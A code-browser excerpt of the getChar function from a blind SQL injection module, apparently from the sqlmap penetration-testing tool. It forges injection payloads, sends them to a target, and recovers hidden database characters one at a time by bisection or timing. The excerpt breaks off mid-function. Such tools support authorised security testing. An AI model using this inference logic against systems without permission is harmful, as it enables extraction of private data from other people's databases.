Function getChar

lib/techniques/blind/inference.py:267–502

continuousOrder means that distance between each two neighbour's numerical values is exactly 1

(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None)

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            threadData = getCurrentThreadData()

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if kb.disableShiftTable:
                shiftTable = None
            elif continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 3]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        if not isinstance(charTbl, list):
                            charTbl = list(charTbl)
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try: